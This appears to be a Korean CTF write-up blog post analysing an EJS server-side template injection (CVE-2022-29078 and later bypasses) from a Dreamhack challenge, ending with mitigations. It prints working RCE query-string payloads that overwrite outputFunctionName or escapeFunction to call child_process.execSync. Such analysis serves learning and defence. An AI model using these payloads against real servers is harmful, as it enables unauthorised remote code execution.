드림핵 ejs@3.1.8 문제를 보고 분석을 해보았다.
해당 취약점은 CVE-2022-29078 취약점을 기준으로 EJS 엔진에서 SSTI 취약점이 발견되었고 RCE까지 가능했던 취약점이다.
EJS란
: EJS(Embedded JavaScript templates)의 줄임말로, Node.js에서 많이 쓰는 서버 사이드 템플릿 엔진
서버에서 HTML을 만들 때, HTML 안에 <% ... %> 같은 문법으로 값을 끼워넣거나/JS로직을 실행해서 완성된 HTML 문자열을 만들어 브라우저로 내려준다.
SSTI란
: 사용자 입력이 템플릿으로 들어가서, 템플릿 엔진이 그 입력을 데이터가 아니라 템플릿/코드/옵션처럼 해석해버리는 취약점
위 취약점은 사용자 입력으로 EJS 렌더 옵션을 덮어써서 템플릿 컴파일 시 생성되는 JS 코드에 악성 구문이 섞이게 되는 흐름으로 이해하면 될 것 같다.
코드 분석
app.js
const express = require('express');
var path = require('path');
const app = express();
const port = 3000;
app.set('views', path.join(__dirname, '/templates'));
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: true }));
- 템플릿은 현재폴더/templates/ 아래에서 찾음
- 확장자는 ejs를 붙여 렌더링 ex) index.ejs
- Content-Type: application/x-www-form-urlencoded 형식의 요청 본문(body)을 파싱해서 req.body에 넣어주는 미들웨어.
app.get('/', (req, res) => {
res.render('index', req.query )
})
app.listen(port, () => {})
- GET 요청 시 실행됨
- req.query를 index페이지로 전달해 렌더링
- req.query는 URL의 쿼리스트링 부분을 객체로 만든 것
ex) ?name=yeonbug&age=25 → req.query = {name : "yeonbug", age : "25"} - 서버 시작 위 코드에서 보이는 3000번 포트에서 서버를 열고 요청을 받음
index.ejs
Welcome ! <%= locals?.name %>
- name 값을 안전하게 출력하기 위해 표현
- locals가 null / undefined 면 에러를 내지 말고 undefined로 평가함. locals가 객체면 그 안의 name을 읽음
즉, locals == null ? undefined : locals.name과 같은 표현
예를 들어, /?name=yeonbug 요청 시 req.query = { name : "yeonbug" } 으로 처리되고 Welcome ! yeonbug으로 처리
하지만, name 없이 /?age=25 요청 시 req.query = {age : "25"}으로 처리되고 locals?.name이 undefined가 되므로 Welcome ! 으로 처리함
취약점 분석
- 사용자가 입력하는 파라미터를 그대로 넘겨서 렌더링
ejs 라이브러리의 ejs.js 의 코드를 통해 자세하게 분석해 보겠다.
출처: https://github.com/mde/ejs/blob/80bf3d7dcc20dffa38686a58b4e0ba70d5cac8a1/lib/ejs.js
// Do we have a callback?
if (typeof arguments[arguments.length - 1] == 'function') {
cb = args.pop();
}
// Do we have data/opts?
if (args.length) {
// Should always have data obj
data = args.shift();
// Normal passed opts (data obj + opts obj)
if (args.length) {
// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts, args.pop());
}
// Special casing for Express (settings + opts-in-data)
else {
// Express 3 and 4
if (data.settings) {
// Pull a few things from known locations
if (data.settings.views) {
opts.views = data.settings.views;
}
if (data.settings['view cache']) {
opts.cache = true;
}
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
}
// Express 2 and lower, values set in app.locals, or people who just
// want to pass options in their data. NOTE: These values will override
// anything previously set in settings or settings['view options']
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
}
opts.filename = filename;
}
else {
data = {};
}
return tryHandleCache(opts, data, cb);
};
- 해당 코드는 447 ~ 490 번째 줄에 해당하는 코드이다.
if (args.length) {
// Should always have data obj
data = args.shift();
앞 코드 app.js 에서 req.query 변수를 인자로 전달하고 있었고 args.shift()를 통해 data 변수에 저장된다.
저장된 데이터들은 KEY : VALUE 형태로 저장된다.
예시로 ?name=yeonbug 같은 방식으로 파라미터를 전달했다면, data는 name : yeonbug과 같은 식으로 데이터가 저장되는 구조로 이해하면 된다.
또한 코드를 살펴보면 아래와 같은 코드를 볼 수 있다.
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
data 변수의 settings['view option']를 viewOpts의 변수에 저장하고, 만약 viewOpts가 있다면 opts 변수에 viewOpts를 얕은 복사하는 코드이다.
즉, data.settings['view options'] 라는 값이 있으면 shallowCopy 함수가 실행된다고 해석하면 될 듯하다.
shallowCopy
exports.shallowCopy = function (to, from) {
from = from || {};
for (var p in from) {
to[p] = from[p];
}
return to;
};
- ejs 라이브러리의 utils.js 코드의 115 ~ 121 번째 코드이다.
- to: 복사 대상 객체 / from: 복사 원본 객체
- from이 null / undefined / false 같은 값이면 {}로 바꿔서 에러를 막음
- p는 키(key) 문자열이고 from 객체에서 프로퍼티들을 순회
- from의 키 p 값을 to에 그대로 덮어쓰고 그대로 반환
인자로 opts, viewOpts를 받고 opts에 overwrite 한다는 점을 알고 있으면 좋을 것 같다.
EJS는 템플릿을 렌더링 할 때 javascript 코드를 실행시켜 주는 부분이 존재한다.
if (!this.source) {
this.generateSource();
prepended +=
' var __output = "";\n' +
' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
if (opts.outputFunctionName) {
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
if (opts.destructuredLocals && opts.destructuredLocals.length) {
var destructuring = ' var __locals = (' + opts.localsName + ' || {}),\n';
for (var i = 0; i < opts.destructuredLocals.length; i++) {
var name = opts.destructuredLocals[i];
if (i > 0) {
destructuring += ',\n ';
}
destructuring += name + ' = __locals.' + name;
}
prepended += destructuring + ';\n';
}
- 위 코드는 JS 코드 조각을 문자열로 만들어 prepended 변수에 붙이는 부분이다.
- opts.outputFunctionName이 있으면 prepended 변수에 추가한다.
- opts.outputFunctionName 값을 조작한다면 RCE가 가능
앞 코드 shallowCopy() 함수에서 첫 번째 인자는 opts 변수였다.
즉, 공격자는 opts 변수에 원하는 값을 넣어 조작할 수 있다.
익스플로잇
먼저 shallowCopy() 함수를 실행시키기 위해서는 data.settings['view options'] 라는 값이 있어야 한다.
따라서 공격자는 다음과 같은 방식으로 요청이 가능하다.
/?settings[view options][a]=b
- 다음과 같이 작성하게 되면 a : b 라는 key와 value가 opts 변수에 추가된 다는 것을 알 수 있다.
공격자는 opts 변수에 원하는 값을 넣을 수 있다는 것을 확인했고, RCE를 위해서는 opts.outputFunctionName의 값을 overwrite 해야 한다.
다음과 같이 페이로드를 작성해주면
/?settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync(실행할 명령어);s
// outputFunctionName이 있을 때 실행되는 코드
' var ' + opts.outputFunctionName + ' = __append;\n'
// 페이로드 삽입시 실행되는 코드
var + (x; <페이로드>; s) + = __append;
// 페이로드 적용된 코드
var x;
process.mainModule.require('child_process').execSync(실행할명령어);
s= __append;
해당 취약점은 v3.1.6 이하에서 동작하는 코드이다. 하지만 높은 버전에서 취약점이 발생하지 않는 것은 아니고, v3.1.9까지도 해당 취약점이 동작할 수 있다.
위 취약점은 발견되고 수정되었지만 현재까지도 내려오고 있다.
CVE-2023-29827
closeDelimiter 파라미터를 통한 RCE
v3.1.9에서 발견
settings[view options][closeDelimiter]= ...
closeDelimiter 검증 강화로 막힘
escapeFunction 파라미터를 통한 RCE
v3.1.9+
settings[view options][client]=true&settings[view options][escapeFunction]=1;
return global.process.mainModule.constructor._load('child_process').execSync('코드');
c
https://github.com/mde/ejs/issues/720
EJS, Server side template injection ejs@3.1.9 Latest · Issue #720 · mde/ejs
If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.It can easily bypass the fix for CVE-2022-29078 in version ...
github.com
https://github.com/mde/ejs/issues/735
EJS@3.1.9 has a server-side template injection vulnerability (Unfixed) · Issue #735 · mde/ejs
EJS has a server-side template injection vulnerability. You have fixed some server-side template injection vulnerabilities recently, such as CVE-2022-29078, CVE-2023-29827. But there's one more tha...
github.com
SSTI는 EJS 뿐만 아니라 다양한 템플릿 엔진에서 발생할 수 있다. 아래는 다양한 템플릿엔진에서의 페이로드이다.

해결 방안
- EJS 업데이트
- 최소 3.1.10+, 가능하면 최신(현재 4.0.1)
- res.render(..., req.query) / req.body 통째 전달 금지
- 필요한 키만 화이트리스트로 넘기기
- Prototype Pollution 차단
- __proto__, constructor, prototype 키 필터링
- 병합 로직(Object.assign / for-in 등) 점검
- 렌더 옵션을 외부 입력으로 받지 않기
- client, escapeFunction 같은 옵션은 서버 코드에서 상수로 고정
'Web Study' 카테고리의 다른 글
| JS Obfuscation (0) | 2026.03.03 |
|---|---|
| AWK Code Injection (0) | 2026.02.20 |
| Prototype Pollution (0) | 2026.02.14 |
| CVE-2025-29927 (0) | 2026.01.13 |
| XS - Search (1) | 2026.01.07 |